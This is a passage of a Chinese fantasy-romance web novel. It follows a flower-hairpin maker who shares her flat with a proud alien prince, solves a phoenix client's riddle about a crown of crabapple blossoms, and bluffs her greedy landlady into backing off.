身后轰然一声,她只觉得整个人跌入坚实的怀抱,眼前金光一片。仰头看,阿波若早已一手揽住她,唇角蔑笑:
“小魔女,你那是什么法术?热水术?”
姜念:“……”
瞧那似笑非笑样,她真觉得也可以泼一壶开水在他脸上。
可下一秒,肩膀一紧眼前一眩她凌空飞了起来,棉花枕头一样被扔回了床上,被毯子裹了起来。
只见阿波若背对着叉腰摇摇头:
“小魔女,你那点破烂法术还是留着自己玩玩吧。打妖怪要有真本事,本王子今天带你见识一下什么叫做真正的法术!”
阿波若你大爷!快把我放了!姜念压低声音吼道,再不阻止阿波若就他那虎样不等打妖怪已经先把整个房顶掀翻了!
方才太慌乱来不及看,她刚刚才发现原先关闭的卧室门已经被阿波若闯进来时冲爆,现在东一块西一快的。
这么大动静!全栋楼的住户都要来她家吃瓜了!
就在这时,窗前那透明水障瞬时化开,两只枯骨小爪,踏在了卧室的米白的瓷砖地上。
连带着一只似火焰环身的火红大鸟,拖着长长泛光的飘带尾羽的大鸟出现在姜念眼前。
那鸟足足有半人身高,片片美羽泛着炫目又柔和的焰光,气势非凡,霸气十足。
好…好酷啊!姜念有些看呆。
它宝石般墨蓝的眼睛盯着姜念,朝她微微点了点头。
瞬间,姜念心念一动,裹着被子边蛄蛹着边朝阿波若喊:“别打别打阿波若!这是我的新客户来看产品的!”
可受被子束缚重心不稳,她一个倒栽葱摔下床去——
鼻子只和地板差了几厘米,姜念腰间环上一个有力的手臂,人稳稳当当站了起来。阿波若的手臂健硕无比,隔着毯子都衬得她巴掌宽的细腰盈盈一袅。
两人紧紧贴着四目相对,气氛有些怪异。
咳、咳、
霸气大鸟优雅挥了挥翅膀,仍是气定神闲:“姜小姐,看来你的小跟班对你甚是上心、爱慕有加呀。”
爱、爱、爱慕?
姜念疯狂摇头。
“不不不、不是的没有爱慕没有没有!”
“喂喂喂,你说谁是小跟班!老不死!”
姜念急得赶紧撞阿波若胳膊,低声咬牙切齿:你乱说什么怎么能叫客户老不死呀!闭嘴!
却见阿波若冷哼一声,愈加傲气:它就是老不死!老不死!
姜念差点一个白眼蹶过去。
她赶紧将绒花饰品摆上前,趁机岔开话题:“帅…帅先生?可以叫您帅先生吧?您不是要看绒花饰品嘛?看看这些有喜欢的吗?”
霸气大鸟的客户ID名叫“帅就一个字”,称呼他为帅先生总不会有错吧?
果然,霸气大鸟微微颔首,姜念稍松了一口气。
“姜小姐,你非常聪慧。”大鸟盯着她的眼睛,
“就是要好好调--教、调--教你的萌蠢小跟班才行。”
“老不死你说谁蠢!本王子拔光你的臭毛!”阿波若霍然呵声,一道金光直接剑指大鸟眼睛。
“小屁孩,当年你出生时我还在宴会上抱过你。现在蠢到连称呼长辈都不会?”霸气大鸟身后长长拖尾华羽划过半空,另一道红色焰光当面迎上,碰击金光闪裂成朵朵烟花。
“你少来倚老卖老!明之焰——”、“毛头小子欠收拾!看我火光炎炎——”
“够了!”
姜念直冲进二人中间,差点被金光和焰光波及。
顿时阿波若和霸气大鸟收了手。
哪怕心底无比后怕,姜念眼中还是佯装镇定,说什么也不能让这俩“斗鸡”在屋里打起来!她深呼吸一口气,眉眼笑意盈盈:
“俗话说和气生财,不如我们坐下喝喝茶吃吃点心、聊聊天吧。”
—
茉莉花茶的清香弥漫在小小卧室中,氤氲芬芳。
姜念手法娴熟为面前的鸟族客户帅先生斟了一杯茶,帅先生微微颔首,一汪清泉从茶杯升起,汇入它尖尖喙中。
“茶香清雅,不错。”它盯住姜念眼睛,“想必你心中一直有个疑问我是什么鸟类,但说无妨,你已经有了答案。”
啊?姜念心里惊诧,它会读心术啊?
确实她挺好奇这个帅先生是什么鸟类只是不方便直接问,而且方才她还发现了另一个神奇之处:好像帅先生根本不用开口说话,只是盯着她的眼看,她居然能听懂它的意思。
“您…您是凤凰?”姜念猜。
凤凰点点头:“正是”
“姜小姐,你果然十分聪慧。”它又赞道。
哇——姜念没想到居然真的能在现实中见到凤凰!有种轻飘飘不真实的感觉,仿佛做梦一般,还没回过神来又听见凤凰道:
“绒花饰品不用看了,全要了。”
啊?
姜念添茶的手差点一抖,她没有听错吧?全要了?
这是什么霸道大大大客户啊!!
幸福来得那么突然吗?
“现有的所有绒花饰品都要,我还要订制一顶特别的绒花花冠。”
天哪今天是中彩票的一天吗?!还有特别定制单呢!
她好想大跳特跳三天三夜!
拼命压抑住不断疯狂上扬的嘴角,她转身取花卉图册,只见坐在身后的阿波若双手抱胸垂眸瞧她:“别憋笑了,小心嘴巴咧到耳后根变成大嘴猴。”
姜念瞪他:要你管!
阿波若挑起眉,冷哼一声,我才懒得管你待会儿被骗了有你哭的。说完侧卧躺下,手撑脑袋合上眼。
咦他怎么也知道她心里想的什么,他也会读心术?姜念奇怪,却见阿波若闭着眼又开了口:“读心术有什么难的,它老不死会的,本王子照样会。”
姜念见他那副傲气模样,懒得多理。
取来图册,转身为凤凰添茶,又将点心鲜花饼推向它面前:“感谢您支持您真是太豪气了!云南的鲜花饼您也尝尝,不知您想定什么样特别的花冠呢?我给您看看图册挑选下——”
不知何时,凤凰已站在卧室里的书架前,背对着姜念,似乎捧起一本书在看,它翅膀一挥,那本书又飞回了书架。
“姜小姐,你喜欢看魔术吗?”
凤凰踱步而来,直勾勾盯住姜念。
“魔术?我还可以偶尔如果电视上有魔术表……”话音未落,下一秒手里的茶壶就变成了一束白海棠。
把她惊了一跳。
而眼前的凤凰直接燃成熊熊火焰,焰光肆意飞舞。
姜小姐,你可以猜猜我究竟想订制怎样的特别花冠,订金已下,那些绒花饰品我已取走。五天后我来看花冠的初稿,更期待后续你制作的花冠成品——
它浑厚的嗓音回响在屋内,随着熊熊焰光冲出窗外才渐渐消散。
瞧着敞开的窗口,姜念呆坐在蒲团上,眨巴眨眼。
不是,不是,这对吗?这这这就走了?
什么要求都没有说我哪知道你要订制怎么样的花冠呀!我猜哪门子猜呀?!
她冲到窗口,向天伸出一只手无声抓狂:凤凰大哥!大帅哥!求求你回来说个清楚呀!
夜深人静,只能听
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见楼下一声野猫叫,好不凄惨。
麻了,人麻了,这年头钱不是那么好赚的——她回过身来眼睛仿佛没光了,突然眼睛一亮,健步冲到方才喝茶的小桌前。
小桌上的点心盘里剩下的五块鲜花饼,此刻变成了五枚金光闪闪的金梧桐叶,好不耀眼。那黄澄澄的光辉倒映在她若水盈盈的眼眸中,似湖面上倒映着的粼粼余晖。
全部拾在手中,似乎比眼见的还重手,少说也有…10g左右?
姜念有些晕晕乎乎划开手机查实时金价:1027元/g,10g就是10270元!
啊!一下入账一万多!还只是订金!
她双手掩住眼,肩膀抽动着。
“本王子早就告诫过你被骗了可别哭。订做花冠却不告诉你款式,看吧,那老不死凤凰只喜欢捉弄人。”阿波若睁开一只眼,盯住姜念后背,“只要你不想做,本王子可以顺便帮你去揍那个老……”
“谁不想做?一万块呀到手的生意不做你傻啊!有吗?凤凰帅先生有捉弄人吗?我没觉得呀!”姜念突然转过头来,面泛红光眸光亮晶晶的,兴奋简直要从眼中溢出来。
订做花冠却不告诉款式这有什么?
那怕凤凰要天上的月亮同款她也去给他摘下来再做个一模一样的!
不仅要做,还要做的漂亮!她一定要做出让凤凰最满意的花冠!
姜念信心满满、斗志昂扬,雀跃着又回到桌边欣赏起那五枚金叶子。
阿波若:……
他眼皮轻抬,臂间华丽的臂护臂蹭的一声卸下,瞬移到姜念面前桌上将五枚金叶子撞得四散。
“不就是金子吗?本王子的这条护臂由纯金与极光宝石打造,比它那破叶子名贵多了!你要用就拿去。本王子金子多的是,别龇着牙对着小小的破叶子傻笑!”
说完他又合上眼,无比骄傲仰起头,期待姜念如方才那样惊叹一声。
姜念瞧着眼前的护臂,流光溢彩华丽非无比。
“阿波若,你耍我呀?”没多久,她无语开口。
?阿波若疑惑睁开一眼,却发觉护臂又已扣回自己手臂上。
他坐起身来,施法,护臂又瞬移到姜念面前的桌上。
可不出十秒,护臂渐渐消失在眼前,又重新出现在他胳膊上。
施法、瞬移到桌上、消失……
再施法、再瞬移、再消失……
施法、消失、
施法……
阿波若恼羞成怒。
姜念乜眼瞧他,摇摇头,得了得了金子您留着自个儿用吧!我还是好好收着自己的金叶子吧。
哼!本王子金子多得是!臭凤凰的金叶子又什么好!哪里比得上本王子的护臂!
他气鼓鼓的,依旧在和自己较劲。
姜念凑近他眼前,
“你,你离本王子如此近干什么?”阿波若耳尖渐渐泛红。
“你吃醋啊?”
姜念突然道。
“放肆!本王子哪里吃醋了!”
“哦~~还以为你吃凤凰的醋只想让我收下你的金护臂、不收它的金叶子呢。”姜念盯着他渐红的耳朵,故意逗他。
“放肆!本王子才没有!放肆!小魔女你竟敢揣测本王子!”“揣测就揣测,怎么,不给啊?”她用指尖戳了戳阿波若的护臂。
登时,那张桀骜不羁的脸漫上了一层粉红。
俊俏无比。
逗也逗完了,眼见时间太晚再不休息要熬穿通宵了。
她催促着,别愣在那了我去找一床床单被子给你,今晚你就在客厅休息——
“那破烂客厅本王子才不睡!”阿波若挑起眉,手指身后那张床。
“本王子要睡这。”
姜念:!!!
那、那是!
那是她的床!
5. 豌豆王子
姜念昨晚睡得尤其好,一觉到天亮,半个噩梦也没有做。
周身舒爽,她心情大好,连早餐煎的两个鸡蛋都格外漂亮,黄澄澄的。
她咬了一口煎蛋,外焦里嫩,香得很。
朝对面挑了挑眉:
“你快吃呀,待会儿凉了。”
“小魔女!你放肆!”
对面坐着的阿波若浓眉竖挑,琥珀色的眸光仿佛化成一把冰锥刺来。
姜念慢条斯理喝着白粥,“又怎么了,昨晚没睡好啊?”
她似笑非笑,故意将最后几个字的音拖得又重又长。
绵绵的嗓音却像羽毛一样撩过阿波若的耳,他噌的一下立身而起,耳根发热,直直盯着姜念。
“小、魔、女“阿波若怒火中烧,牙缝中挤出声,“你好大的胆子!竟还敢问本王子昨晚睡得好不好!你自己干了什么自己清楚!”
话毕,他那极立体锋锐的脸更红了。
哦——姜念吃完最后一口煎蛋,手抵额歪头瞧他,“我干什么了呀?”
“你!”
阿波若没想到她会这样回答,盛满琥珀光的眸子尽是不可思议。
得了得了,少在这磨磨唧唧,快把煎蛋吃了一块钱一个呢贵得很别浪费!姜念催促,懒得跟他再多说。却见桌面一震,所有的碗碟瞬间都悬浮在半空中。
只见庞如山倾的巨大身影压迫过来,面前的光暗了一片,阿波若阴沉着脸:“昨晚你干的好事,还想让本王子帮你一一回忆吗?”
“我干什么好事了!不就是让你出——”
姜念顿感口鼻一紧,尚未出口的话尽数被塞回肚中。
阿波若捂住她的嘴,咬牙道:“不许再说那两、个、字!”
只要姜念说出“出去”一词,便回触发禁咒将他罚出门外动弹不得,直至第二天太阳升起时才会解咒。
而昨晚姜念更狠,一句“出去睡!”就将他罚出房门直接睡在一张花花粉粉起毛边也不知放了几百年的破烂毯子上。
他动弹不得,更是被蚊子咬了一个晚上,一宿没睡!
哪怕到了秋天,仍有蚊子出没。阿波若挠了耳根又挠脸,那几个红肿的蚊子包比原先更红更显眼了。
他气得咬牙:“明明昨晚本王子命你解咒,你为什么不解?”
姜念狠咬一口阿波若的手,呸呸两声,“拿开你的脏手!我凭什么要帮你解咒!你我孤男寡女共处一室万一你图谋不轨怎么办!”
“你!竟敢怀疑本王子图谋不轨!你要什么没什么本王子才看不上呢!”
“得了吧,昨晚都想睡我的床还说不是图谋不轨?不要脸!”姜念直呛,故意讽刺:“还是说,你想当陪睡啊?”
一听到“陪睡”,阿波若的耳根瞬间又烧了起来,肯定又被该死的蚊子咬了,他狠饶了几下,脸愈加红得旺,“你!你休想!陪、陪睡本王子才不会如你所愿!”
一句话把姜念逗笑,她凑近笑问:“阿波若,你今年几岁呀?”
脸竟然能红成那样,不知道的还以为她姜念在调戏什么纯情小嫩男呢。
阿波若瞪她一眼,又迅速撇开眼神,言语傲然:“你管我几岁!无论如何今晚本王子都不要睡那个破毯子盖那个烂被子!”
原来是对睡觉的毯子被子不满意?矫情,真没见过这么矫情的!姜念翻了大大一个白眼,“阿波若你少在这耍什么王子脾气,这是我家!那个毯子怎么破了?虽然旧一点但都是洗干净后放在衣柜里的;那被子怎么烂了?那可是全新的被子我都没用过呢专门拿出来给你用!别不知好歹!”
“胡说!那毯子起的毛边都把本王子的皮肤刺痛了!还有那被子有547个针脚,其中第238的针脚比第496的针脚足足短了0.03厘米!这样的残次品怎配给本王子用!”
见他振振有词样,姜念直接气笑了。她拿出手机点开计算器噼里啪啦算起来:“嫌我的被子破不愿睡可以呀那就拿钱来买!你金娇玉贵的王子自然要用上等的东西就算50g金一床被子、50g金一条毯子,早餐白粥10g鸡蛋30g金,再给你打个折一共给我135g金!区区这点小钱对堂堂阿波若王子来说不算什么吧?”
“哼!本王子就是一座金山都给得起!“好呀现在就给!”
阿波若本来傲气十足,却见姜念摊开皙白的掌,突然语塞。
“没有。”
姜念冷笑:“你也知道没有呀?我不管你有几座金山银山,现在你就是一分没有。住在我家吃我的用我的,还敢嫌弃东西不好!从现在起你的每一笔花销我都会记账,并且要约法三章!”
两张写满密密麻麻的纸摆上桌面,推向阿波若面前:
“第一:不许再自称本王子,要说我。这里是地球,要遵守地球规矩。”
“第二:不许露出你的翅膀,要学会地球人的生活方式。你我各自划分好生活区域,公共区域交替使用,私人领域互不干涉。”
“第三:虽说你帮我除梦魇,但我也答应帮你尽心找寻回母星的方法,所以一来一往这人情可以抵消;但现在你我同住一个屋檐下,房租水电伙食哪样不要花钱,看你现在也给不了就当先欠下,等之后你能还了再还我;平时我要直播做绒花赚钱,外出采买的事我来,家里的做饭煮菜洗衣拖地大小卫生你就全包了。协议一式两份,签了吧。”
“凭什么做饭煮菜洗衣拖地大小卫生要本王子全包了?本王子不会!”
“不会我可以教。但教学费5g金一次,记你账上。”姜念笑意晏晏将笔递过去,“还不肯签是吧?不签你就滚出——”
“签!”
阿波若扯过姜念手中的笔,却一下力太大将她整个人牵动凌空飞起来!
巨翅展开,他将姜念揽回怀里。
两人先是一怔,但很快四目瞪视,互不相让。
“吝、啬、妖、女!”
阿波若咬牙。
“承让。”
姜念娇笑,势必要呛死他:
“豌、豆、王、子!”
——
自从签了协议,一日三餐开始都由阿波若负责。姜念从小到大不是个挑食的人,手头拮据的时候经常半个冷馒头配点豆腐乳也能凑活一餐。但现在吃“豌豆王子”的菜真的有点厌食了:
煮豆腐不像豆腐、白菜不像白菜像一锅软烂的白泥浆;让加盐加成糖,不让加盐偏往死里加能齁死三头牛;蒸煮煎炸没一个上得了手,三天了顿顿都是番茄炒蛋,还差点大火把厨房点着了。
姜念夹起一块黑不溜秋的番茄,以为自己看花了眼,尝了一口简直咸到可以直接看见太奶。她猛灌了一整杯凉水,看着那一盘被浪费的番茄和厂长娟姐送来的土鸡蛋,想刀了阿波若的心都有。
暴殄天物呀!
偏偏有人非但不知惭愧反而自豪得很,阿波若系着一条粉嫩的hellokitty围裙,衬得更加宽肩蜂腰。
他一身灰扑扑的衣服都是姜念连夜拆旧窗帘改的,190+的大个子,肩宽腿又长,太难买到合适的衣裤。
再说现买一套男装多贵呀,她可舍不得。
阿波若扬起头,显然对自己的番茄炒蛋杰作满意得不能再满意。见姜念一言不发泪光涟涟,直问是不是很好吃,好吃哭了?
姜念捂着脸:她是哭了,是齁咸难吃哭了。
“盐也是要钱的,我说过不要放那么多盐,要少盐少盐再少盐!听清楚了吗?”强忍怒气,她抬头盯着阿波若的眼再次强调。
阿波若眯了眯眼,“咸吗?你口味有问题吧!本王……我的厨艺举世无双怎么可能放盐放多了。你再尝一口!”
姜念差点吐血,想齁死她就直说!换作平时她早和阿波若开吵了,但现在她连骂人的时间都没有,匆匆扒完一碗白饭,丢下一
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句话“要吃你吃!”就回了房间。
自主号被封,她用小号直播一天也不敢松懈,不仅每天要直播10小时,还要时刻谨防小号再被盯上被封和加紧申诉解封主号,除此之外更要抓紧时间多做些绒花发簪备货。
虽然很辛苦很繁琐,但只有在制作绒花发簪的时候她心里才是最平静的,可以摒绝外界一切嘈杂,沉下心来。
这三天她一直在思考凤凰究竟要订制怎样的花冠,但始终没有头绪。她将那晚发生的每一个细节甚至凤凰说的每一句话前前后后想了一遍,而没有发现特别的线索。
唯一有点奇怪的是,当时凤凰在她书架上拿了一本书又放了回去。这是无意为之吗?还是谜题的线索?
姜念放下手中做好的一只梅花发簪,又去书架拿出那本书,《宋诗鉴赏辞典》,翻来覆去看了一遍,没有发现任何怪异之处。
难道是她想多了?
这或许真的只是凤凰先生喜好风雅,随手拿出来读读诗不可以吗?
她叹了一口气,时间已经过去三天离交初稿的时间还不足两天,但现在仍是一头雾水。如果到期她交不出初稿,五张金叶子订金肯定要还回去,这单生意就彻底黄了。
花冠订金不能动,而之前她又付了一笔荣安丝线厂的丝线订金以及给前房东老板付了一月房租(东凑西凑)。
实际上现在她卡里还剩的钱不足600块。
这几百块钱,要支撑她和阿波若两个人吃饭生活尚且不够,更别提还要付丝线的尾款。断粮又断生计,她就彻底完了。
无论如何,凤凰的花冠订制订单她拼死拼活也一定要拿下!
一股焦糊的味道自门外传来,姜念冲出去见厨房火光四溅,堪比古装电视剧的烽火战场。
“你干什么呀要炸厨房啊!”
姜念大叫。
“本王……我在研制新菜。你不是嫌番茄炒蛋咸吗那就再给你露一手——火焰鸡翅!没吃过吧!”阿波若优哉游哉从喷火的锅里用筷子夹出一团火球,得意至极,“这地球上的鸡绒毛真多,这怎么能下口一点也不精致。不过我用心之焰一烧,毛烧掉,真正的细嫩皮肉才能露出来,外焦里嫩。”
姜念冲过去夺过阿波若手上的夹子像丢手雷一样把那团火焰鸡翅丢进锅里,再拿锅盖将火扣住。
阿波若:“?你干什……”
“出去!你给我出去!”
姜念恨不得把他背上的两个大翅膀卸下丢进锅里烧了再炸个外焦里嫩!
那可是娟姐送来的十几个鸡翅呀一直舍不得吃!就这样被拿来练手糟蹋了!
烧烧烧!烧你个大头!
烧、烧——?突然,一道灵光在脑中闪现,姜念莫名生出了个奇异念头。发现阿波若已不在眼前,找了一圈也不在家里,这才意识到刚才说出了禁词又把他罚出了大门外。
“阿波若!阿波若!那个花冠的谜底我好像有点头……”
她兴奋得直奔向门口,一把拉开门。
“……绪、了。”
瞬间整个人僵在原地。
房东冯妈吊起眉一对三角眼看她,面露怒色。鸡爪似的手指戳指着站在门口挺如雕塑般一动不动还系着卡通围裙的阿波若。
“姜念啊我看你平时多老实多文静一女娃子呀,竟懂得骗人啦?你不是说他是你远方的表弟来看你放了土特产就走吗?哎呦我前两天回老家吃喜酒怎么想怎么不对劲,瞧可给我今天抓着了吧!什么表弟不表弟我看就是你藏在屋里的男朋友!”
“冯妈冯妈你听我说——”
哎呦!冯妈一把扯上姜念和阿波若的手,高声叫唤撒起泼来:
“少来再骗我!上一次收租就被你糊弄过去了!想藏着掖着少交租金门都没有!带男朋友回来住我可是要收两倍房租的咧!”
“你要不服咧我们现在就去找邻里乡亲!评评理去!”
6. 又怎么了,我的若大小姐
“来,冯妈,你喝一口茶,再尝尝鲜花饼。”
玫瑰鲜花饼香味浓郁,勾得冯妈肚里馋虫大动。平时她节俭惯了的哪里舍得吃这种点心,一口两口连吞三个,再配上姜念泡的茶吃得那叫一个欢。
姜念为她又添上茶,再将一筐土鸡蛋塞到冯妈怀里,让她拿回去吃。
见到那筐土鸡蛋,冯妈斜长的三角眼瞬间来了光,紧紧揽在怀里像老母鸡护鸡崽儿样,却依旧道:“这么好的土鸡蛋也舍得给我呀?但丑话讲在前头,房租我可是一分少不了的咧!”
“一点鸡蛋而已您尽管拿去吃,房租的事,冯妈我知道你心好咱再商量商量嘛。”姜念又将仅剩的最后两盒高级鲜花饼加一盒云南普洱塞进冯妈手里。
冯妈见满怀的东西,嘴角止不住的扬,凑近低声道:“哎呀要我说房租的事也别那么麻烦,只要你愿意跟你那男朋友分了和我儿子在一起,什么都好说嘛。我儿子又老实又顾家才是踏实过日子的人咧!”
“看你那男朋友留着一头长卷毛,长得倒是人模人样但一看就是不安分主儿。你们年轻女娃子不懂,听我的赶紧分了!”
“等你和我儿子结了婚,这房子就留给你们做婚房,我们家出房,装修费你出,以后不都是你们小两口的!”
“再抓紧时间生个大胖小子,我儿子也就有后了!你的年纪也不小了这事不能拖!就是你这身子骨吧太瘦太弱得好好补补。”
“不过吃补品的钱你自个儿出啊,总不能让我儿子出吧?他又没个收入的,也不能让我这个做婆婆的出呀,不孝顺小心折你的寿!”
噼里啪啦说得姜念心里简直比吃了苍蝇还恶心万倍!
自从她租了这房子,冯妈就绞尽脑汁想撮合她和自己那宝贝儿子在一起。冯妈的儿子今年44岁,小时候发烧脑子烧坏了至今生活不能自理。
姜念心里冷笑,面上依旧笑意盈盈,借口去房间再拿一盒茶叶。
等门一关立刻朝阿波若低声道:“阿波若,等下你出去什么也别说直接去厨房,照我说的做!”
阿波若双手抱胸,撇着个头不理她。
从刚才他就一直待在房间里,仍在为之前被罚出门外的事生气,更为火焰鸡翅的事生气。
“本王子凭什么要听你的!”
“阿波若!现在不是赌气的时候!你先听我说,等下你出去——”
“哼!刚才你为什么又说那个禁咒?还有本王子做的火焰鸡翅不好吗?哼!”
姜念一把将那颗执拗的头掰过来,纤弱的小小手捧在阿波若脸边。
“我错了!我不该说禁咒的!你的火焰鸡翅好得很啊!嘎嘎好!现在我们最主要的是应付冯妈,否则付不起租金我们就要去睡大街了!”
微凉的手贴着阿波若的脸,软绵绵的,混合着一丝特属于姜念身上的香气,一下撩燃了他的耳后根。
他喉头动了动,不敢再看姜念眼睛,仍是不羁:“怕什么等本王子出去把那个冯妈打一顿就行了!”
“不行!”
姜念赶紧捂住他的嘴,低声呵止。
掌心直接贴在唇上,阿波若登时整张脸晕了一层红。
但似乎丝毫没有引起姜念的注意,她现在满脑子都是怎样应付冯妈。
“不能打人!打人违法!待会儿你就照我说的做!”
她凑近阿波若耳边轻声道。
绵绵的气息尽数吐露在他耳中——
——
“冯妈,要不今晚就在我们这吃晚饭吧,有排骨。”
姜念从房间里出来,笑道。
身后紧跟着阿波若,一言不发向厨房走去。
冯妈警觉的目光随着飘过去,回头赶忙拉着姜念低声道:“他那手臂上怎么全是纹身呐,哎呦张牙舞爪的吓人喽!”
姜念只是笑,慢慢往茶杯里添茶,“工作需要呗,他现在的纹身比之前少得多了。”
“什么工作呀那么多纹身,肯定不是啥正经工作。”
“散打教练!”
嗙的一声巨响,厨房里传来阿波若剁排骨的声音。
唬得冯妈一个大激灵,手里的茶直接泼在怀里。
脸色都铁青了几分。
姜念拿纸巾帮她擦拭,边说:“在老家阿波从小打架打到大,之前有个大伯想帮他儿子娶媳妇,骗我去他家做客趁机把我锁在他家,阿波知道了直接把他家房门都拆了,那一家人也进了医院,躺了大半年。”
进、进医院?冯妈整个人开始哆嗦。
嗙的再一声,厨房里又传来砍排骨的巨响。
“阿波,排骨砍好了没?”姜念故意高声问。
只见阿波若高大魁梧的身形从厨房里走出来,阴沉着脸,手提一把血亮汪汪的菜刀,衣袖半卷,粗壮的小臂上满满的纹身青面獠牙地瞪向冯妈。
吓得冯妈差点一屁股坐到地上。
茶也不喝了、饭更不吃了,甚至土鸡蛋和鲜花饼都不拿只想立刻回家,更别提两倍租金的事。
但姜念硬拉着她,该付的租金得付,今年的房租已经涨了那要不就维持在1500?
冯妈头捣蒜样地答应了。
随后夺门而出。
—
所谓两倍租金根本就是唬人,当初租房合同的时候姜念看得仔仔细细,根本没写不能带男友回来住,也就不存在两倍租金。
虽然冯妈这人又精明又算计,但看在她早年丧夫一个人要养不能自理的儿子也不容易,姜念不想再与她多计较。
今天趁机敲打敲打她,省得以后她再用租金的事来作妖。
而且阿波若身份太特殊,今天又正好被冯妈撞了个正着,不可能再遮掩过去了,不如将计就计演一出恶霸男友的戏码。
依冯妈那欺软怕硬的性子,肯定是不会乱说更不敢再打探什么了的。
姜念松了一口气。
她撇见阿波若的小臂,伸手将那个青面獠牙的纹身揭下来。
幸亏当时她灵机一动,想起以前去学跳街舞的时候买的纹身贴纸还剩几张,就给阿波若贴上了。
花臂纹身+散打教练,再加上阿波若威猛的身材和不情不愿板着的臭脸,恶霸感buFF拉满。
恶人还需恶人磨啊。
她笑起来。
看着那被揭下来纹身贴纸,有种物是人非的恍惚感:
想起以前在丰林的时候只要有空她就去学跳街舞,一开始别人还不相信,说她一副仙气飘飘的古典样,怎么可能去学跳街舞?
可她偏偏喜欢,也跳得很好甚至拿到了街舞大赛的银奖把大家都吓了一跳。
一旦她认定要做到事就一定会做到极致。
天生,她就不愿认输。
绝不认输。
思绪敛回,她看着阿波若的眼:“今天谢谢你,愿意配合我。”
阿波若倚着墙直直盯着她,许久才道:
“你的纹身贴纸好丑!”
“配你绰绰有余!”
姜念立刻呛声。
算了,外星傻子听不懂谢谢。
姜念转身进厨房,端出一个白色碟子,上面只躺了一只没煮的鸡翅。
“阿波若,你说可以用火焰将鸡翅上再小的绒毛都烧掉而露出最细嫩的皮肉。你再给我演示一遍!”
阿波若神色傲然:
“凭什么,我就不!”
姜念将碟子放下,“原来是没那个本事呀,算了,不看也罢。”
扭头就走。
阿波若挡在她面前,掌一挥——
瞬间一团火从碟子上升起,滋啦滋啦的。
等火团跌回,露出了白嫩的鸡肉,光洁如玉,没有一丝焦黑。
阿波若哼了一声。
却见姜念又搬来一个瓷盆,指着道,能在里面直接点火吗?
笑话!
阿波若单单挑了挑眉,熊熊火焰在盆里轰然燃起。
一本书被扔了
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进去,瞬间被灼热的焰光吞没。
阿波若看向姜念。
火红的焰光倒映在她眸子里,雀跃闪动。
她突然开口,凤凰很喜欢火吧。
紧接着,唇角向上弯起。
只见那熊熊的烈焰中,那本凤凰帅先生曾经碰过的《宋诗鉴赏辞典》丝毫无损,书页中透出一丝特别的金光……
——
将花冠样稿递过去的时候,姜念明显瞧见对面的凤凰使者尖尖的喙张开,很满意的点点头。
那个凤凰使者头顶墨蓝泛着辉光,翅羽却是鲜亮的橙红,个头娇小却有着长长的尾羽,灵动飘逸,宛若仙子。
她可从来没见过这么仙气的小鸟。
这次凤凰帅先生没有时间来看样稿,便派了一个使者来看花冠样稿。
海棠硖蝶花冠,就是凤凰帅先生想要订制的花冠。
破解谜题的关键就藏在那本《宋诗鉴赏辞典》里。
那天将书从火盆里取出后,丝毫无损,翻开后其中一页上的两行诗句闪烁着金光——
“东风袅袅泛崇光,香雾空蒙月转廊。”
这是苏轼的《海棠》,香雾空蒙描绘的更是夜晚海棠暗香浮动,那谜底自然就是海棠花了。
其实姜念在赌,赌自己的直觉。
她一直坚信那晚凤凰不会无缘无故从书架拿起那本诗词,但始终找不到答案。
直到阿波若的火焰鸡翅给了她灵光一闪:烧掉表面、露出真正想要的。
凤凰天生喜火不是吗?所以她决心赌一把:将那本诗词扔进火中,看看谜题的线索会不会出现。
若她的推理正确,就能获得答案为凤凰继续制作花冠拿到尾款;但若推理错误,熊熊火焰就会将书烧为灰烬。
那么她将彻底失去最后也是唯一的线索,这单大生意便彻底没戏了。
只能孤注一掷。
很显然这一次,她赌对了。
在获得谜底后,她立刻在网上联系凤凰帅先生,将诗词的下两句“只恐夜深花睡去,故烧高烛照红妆”发了过去。
很快得到了凤凰的肯定回复,并相互敲定样稿出图的时间。
现在样稿也得到了肯定,五天后便能完成成品。
姜念双手捧着一个桑叶扎成的沉甸甸的小袋子,觉得手腕又沉又轻:
这是凤凰使者带来的尾款,满满一整袋都是金叶子呀!
她激动得手发软,轻飘飘的。
这尾款也太多了吧!姜念眼冒金光,就差哈喇子没流一地。
凤凰使者尖尖的喙开开合合,在房间里飞又来飞又去,话如倒豆:“不多啦不多啦一点也不多啦!凤凰殿下称赞姜小姐的手艺好!一点也不多啦!除了海棠花冠的尾款,凤凰殿下还想再订做八个花冠!”
八个!?
姜念以为自己耳朵长毛听错了。
“八个八个八个八个~”凤凰使者还在飞舞着欢唱“八个之歌”。
“八个八个八个~凤凰殿下要举办一年一度百鸟晚宴!凤凰殿下需要订做八个花冠!八个八个八个八个~”
听凤凰使者的意思,凤凰乃百鸟之王,每年都会举办百鸟晚宴,得所有鸟类朝拜与庆贺。
但时间紧迫,只给了一个月的制作时限。
送走“八个”凤凰使者后,姜念早已按耐不住喜悦,冲出房门,“八个花冠!一下子来了八个订单呀!”
房门外的阿波若回过头,直直盯住她。
每天晚上姜念直播的时候,阿波若就在房门外帮除噩梦灵丧气,所以这段时间她做噩梦的夜晚也越来越少。
今晚也不例外。
但见他眼神直直盯着,也不说话。
又怎么了,我的若大小姐?
累了?
生气了?
姜念:“阿波若,你干嘛那样盯——”
话未落,阿波若已闪现在她面前,
一把将她拥入怀里……
7. 是正经疗法吗?
好宽广好坚实的……的胸肌哇——
头被埋在他厚厚的胸肌里,脑子晕晕乎乎的。
哪怕隔着外衣,也能清晰听见他强劲有利的心跳声,每一声都如狂风般席卷在姜念耳边,山崩地裂。
而他身上的灼热更似乎将她熔化……
姜念原先苍白的巴掌脸已然是灿若春桃。
抱得好紧……
也很久……
她好不容易从厚实的怀中抬起眼眸,见金光飞绕,阿波若早已展开雪白巨翅将她与他笼罩在一起。
形成一个只有她与他二人、
完全隔绝于外界一切的独立小天地。
他烈焰般的眸光愈来愈近、琥珀流光。
魅惑近妖。
姜念下意识闭上眼。
“本王子的神光疗法如何?厉害吧!”
阿波若昂起头,甚是得意。
“疗、疗愈?”
姜念睁开眼,眨巴眨巴。
“对呀,这可是本王……我的神光能疗愈伤痛、回复能量。这段时间我帮你除梦魇噩梦灵便不能再继续侵蚀你的心脉,但你的身体太差不能直接除尽不然会死,只能一点点慢慢拔除。”
“但噩梦灵狡猾转而偷偷攻击你的五感,现在你已出现味觉丧失,等五感尽失的时候你就死定了。所以我直接将神光引入你身上,每天一次,延缓噩梦灵对你的蚕食。”
味觉……五感尽失?姜念不解,她感觉自己的味觉明明没什么问题啊!
